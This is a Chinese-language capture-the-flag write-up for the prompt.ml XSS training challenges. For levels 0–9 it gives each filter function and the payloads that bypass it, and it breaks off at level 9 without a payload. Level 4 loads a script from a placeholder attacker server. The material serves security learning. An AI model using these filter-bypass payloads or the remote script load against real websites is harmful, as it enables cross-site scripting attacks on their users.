prompt.ml xss挑战平台

规则是成功执行prompt(1)即可成功

0

代码:

1
2
3
4
5
function escape(input) {
// warm up
// script should be executed without user interaction
return '<input type="text" value="' + input + '">';
}

没有任何过滤,闭合括号就行
payload1:

1
1"><script>prompt(1)</script>

payload2:

1
"><svg/onload=prompt(1)>

关于svg标签的问题,参考文章,学习了新姿势

1

代码:

1
2
3
4
5
6
7
8
function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');

return '<article>' + input + '</article>';
}

这里过滤了 <>号里的内容
过滤方法就是用//注释,这样的话也是可以成功的
payload:

1
<svg/onload=prompt(1)//

2

代码:

1
2
3
4
5
6
7
function escape(input) {
// v-- frowny face
input = input.replace(/[=(]/g, '');

// ok seriously, disallows equal signs and open parenthesis
return input;
}

可以看出来这里是过滤了(,同样的,在svg标签里的script&#40;会被解析成(,
相同的道理还有:

1
&#x28;、&lpar

payload:

1
<svg><script>prompt&#40;1)</script></svg>

网上还有一种payload,调用的eval:

1
<script>eval.call`${'prompt\x281)'}`</script>

3

代码:

1
2
3
4
5
6
7
function escape(input) {
// filter potential comment end delimiters
input = input.replace(/->/g, '_');

// comment the input to avoid script execution
return '<!-- ' + input + ' -->';
}

->连在一起的时候会被替换成_,需要做的是将前面的<!--闭合,
绕过的方法很简单--!>,这样也是可以闭合的
payload:

1
--!><script>prompt(1)</script>

网上的另一种payload:

1
--!><svg/onload=prompt(1)

4

代码

1
2
3
4
5
6
7
8
9
10
11
function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}

这里好像是涉及到了同源策略,prompt.ml才能访问,
这里绕过的是URL黑魔法,举个例子:
http://cherry@qq.com
这句话的意思是用cherry这个用户名去登录qq.com,所以代码里的if就能绕过了
payload:

1
<script src="http://prompt.ml%2f服务器IP/hack.js"></script>

5

代码

1
2
3
4
5
6
7
function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');

return '<input value="' + input + '" type="text">';
}

这里是过滤了>,然后on=之间有字符的,focus替换成了_
这里绕过的方式就是回车,比如:

1
2
alert('
cherry');

这样也是可以执行的,并且这样可以绕过正则表达式;
payload:

1
2
 " src=1 type=image onerror
=prompt(1) "

6

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);

var form = document.createElement('form');
form.action = formURL;
form.method = 'post';

for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}

return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
';
} catch (e) {
return 'Invalid form data.';
}
}

这里代码较长,经过分析和测试,知道了是
http://httpbin.org/post#{"name":"Matt"}
这样的形式,http://httpbin.org/post是表单中的action,nameMatt分别是表单的namevalue
这里经常用的方法是直接用JavaScript的伪协议:
javascript:prompt(1)
但是题目也做了防护,

1
2
3
4
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.")

如果直接用的话会出forbidden,这里绕过的方法利用了Javascirpt中表单DOM操作时,会先将form中的name属性作为action的输入框,
如果没有的话,再选择action属性进行输入。可以用下列代码实例,如:

1
2
3
4
5
6
<body>
<form action="javascript:prompt(1)" method="post"><input name="action" value=1></input></form>
<script>
alert(document.forms[0].action);
</script>
</body>

这样的效果是:

再将代码换成

1
2
3
4
5
6
<body>
<form action="javascript:prompt(1)" method="post"><input name="1" value=1></input></form>
<script>
alert(document.forms[0].action);
</script>
</body>

这样的效果是:

payload:

1
javascript:prompt(1)#{"action":"1"}

7

代码

1
2
3
4
5
6
7
8
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');
}

这关限制是做的长度限制,并且用#分隔后,可以输入很多行,每行限制12个字符
绕过的方法就是用JavaScript的注释符,/**/,
payload:

1
"><script>/*#*/prompt/*#*/(1)/*#*/</script>

网上的第二种用<svg>绕过的方法,原理类似
payload:

1
"><svg/a=#"onload='/*#*/prompt(1)'

8

代码

1
2
3
4
5
6
7
8
9
10
function escape(input) {
// prevent input from getting out of comment
// strip off line-breaks and stuff
input = input.replace(/[\r\n</"]/g, '');

return ' \n\
<script> \n\
// console.log("' + input + '"); \n\
</script> ';
}

先看过滤,换行干掉了,< "也干掉了,没啥思路,找了网上的wp后知道了用unicode绕过
U+2028是行分隔符
U+2029是段落分隔符
payload:

1
2
'\u2028prompt(1)\u2028-->' 
(放入控制台执行之后将得到的输入)

9

代码

1
2
3
4
5
6
7
8
9
function escape(input) {
// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1');
// use all-caps for heading
input = input.toUpperCase();

// sample input: you shall not pass! => YOU SHALL NOT PASS!
return '<h1>' + input + '</h1>';
}

函数先将<*格式的全都变成了<_*,然后还将字母全部转为大写形式